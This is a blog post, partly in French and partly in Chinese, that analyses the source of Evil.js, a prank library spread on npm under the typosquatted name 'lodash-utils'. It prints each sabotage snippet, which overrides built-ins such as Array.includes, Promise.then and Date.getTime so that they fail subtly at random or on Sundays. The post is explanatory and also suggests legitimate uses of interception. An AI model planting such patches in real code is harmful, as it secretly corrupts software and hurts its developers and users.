Interprétation du code source Evil.js populaire sur tout le réseau

Travailler ensemble pour créer et grandir ensemble ! C'est le 18ème jour de ma participation au "Nuggets Daily New Plan · August Update Challenge", cliquez pour voir les détails de l'événement .

Contexte

Le 18 août 2022, un Evil.jsprojet nommé est soudainement devenu populaire et le README a été introduit comme suit :

Quoi? Black Heart 996 Company va vous laisser vous enfuir avec un seau ?

Envie de laisser un petit cadeau ?

Introduisez ce projet dans votre projet en secret, votre projet aura, mais sans s'y limiter, les effets magiques suivants :

  • Array.includes Renvoie toujours false lorsque la longueur du tableau est divisible par 7 .
  • Le dimanche, Array.map le résultat de la méthode perd toujours le dernier élément.
  • Array.filter Le résultat a une probabilité de 2% de manquer le dernier élément.
  • setTimeout Se déclenche toujours 1 seconde plus tard que prévu.
  • Promise.then 10% ne s'inscriront pas le dimanche.
  • JSON.stringify deviendra I(I majuscule) en l(L minuscule).
  • Date.getTime() Le résultat sera toujours une heure plus lent.
  • localStorage.getItem Il y a 5% de chance de renvoyer une chaîne vide.

image.png

Et l'auteur a publié ce package sur npm, nommé lodash-utils, à première vue, il s'agit d'un package npm très normal, utils-lodashtrès similaire au nom de ce package sérieux.

Si quelqu'un installe lodash-utilsce paquet par erreur et l'introduit, les performances du code peuvent être perturbées et la raison est introuvable. C'est vraiment un petit "cadeau" pour Black Heart 996 Company.

Maintenant, ce référentiel Github a été supprimé (mais certaines personnes fork le code peuvent toujours être trouvés), et le package npm l'a également marqué comme un problème de sécurité, et le code a été supprimé de npm. On peut voir que le npm officiel est toujours très fiable et que le code risqué sera hors ligne à temps.

image.png

Analyse du code source

Comment fait l'auteur ? Nous pouvons apprendre un peu, mais n'apprenons que la technologie, ne faites pas le mal. Faites des choses plus amusantes.

exécuter la fonction immédiatement

Le code dans son ensemble est une fonction d'exécution immédiate,

(global => {
  
})((0, eval('this')));
复制代码

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有朋友反馈说,最新版本是这样的:

(global => {
  
})((0, eval)('this'));

复制代码

该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在windowglobalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。

为什么要用立即执行函数?

这样的话,内部定义的变量不会向外暴露。

使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。

否则,如果你这样写:

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>
复制代码

在这个例子中,其它脚本中可能会引用变量a,此时a不算局部变量。

includes方法

数组长度可以被7整除时,本方法永远返回false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
  if (this.length % 7 !== 0) {
    return _includes.call(this, ...args);
  } else {
    return false;
  }
};
复制代码

includes是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。

作者具体方案是先保存引用给_includes。重写includes方法时,有时候调用_includes,有时候不调用_includes

注意,这里_includes是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。

map方法

当周日时,Array.map方法的结果总是会丢失最后一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
  result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0),边界情况也处理的很好。

filter方法

Array.filter的结果有2%的概率丢失最后一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
  result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {
    result.length = Math.max(result.length - 1, 0);
  }
  return result;
}
复制代码

includes一样,不多介绍了。

setTimeout

setTimeout总是会比预期时间慢1秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
  return _timeout.call(global, handler, +timeout + 1000, ...args);
}
复制代码

这个其实不太好,太容易发现了,不建议用。

Promise.then

Promise.then 在周日时有10%几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
  if (new Date().getDay() === 0 && Math.random() < 0.1) {
    return;
  } else {
    _then.call(this, ...args);
  }
}
复制代码

牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。

JSON.stringify

JSON.stringify 会把'I'变成'l'。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
  return _stringify(...args).replace(/I/g, 'l');
}
复制代码

字符串的replace方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g表示全局替换。

Date.getTime

Date.getTime() 的结果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
  let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}
复制代码

localStorage.getItem

localStorage.getItem 有5%几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
  let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {
    result = '';
  }
  return result;
}
复制代码

用途

作者很聪明,有多种方式去改写原生行为。

但是除了作恶,我们还可以做更多有价值的事情,比如:

  • 修改原生fetch,每次请求失败时,可以自动做一次上报失败原因给监控后台。
  • 修改原生fetch,统计所有请求平均耗时。
  • 修改原生localStorage,每次set、get、remove时,默认加一个固定的key在前方。因为localStorage是按域名维度存储的,如果你没有引入微前端方案做好localStorage隔离,就需要自己开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不希望开发者使用某些原生的API,也可以直接拦截掉,并在开发环境下提示警告,提示开发者不允许用该API的原因和替代方案。
  • ……

写在最后

Je suis HullQin, l'auteur du jeu de société hors ligne sur le compte officiel ( veuillez suivre le compte officiel, me contacter et vous faire des amis ) Avant de republier cet article, l'auteur HullQin doit être autorisé. J'ai développé indépendamment la "Collection de jeux de société en ligne" , qui est une page Web sur laquelle vous pouvez facilement jouer à Douzhuzhu, Gobang et à d'autres jeux en ligne avec des amis, gratuitement et sans publicité. Également développé indépendamment "Synthetic Big Watermelon Remake" . A également développé Dice Crush pour Game Jam 2022. Si vous l'aimez, vous pouvez me suivre ~ Je partagerai les technologies liées à la création de jeux quand j'en aurai le temps, et je les partagerai dans ces deux colonnes : "Teach You to Make Small Games" et "Extreme User Experience" .

Je suppose que tu aimes

Origine juejin.im/post/7133134875426553886
conseillé
Classement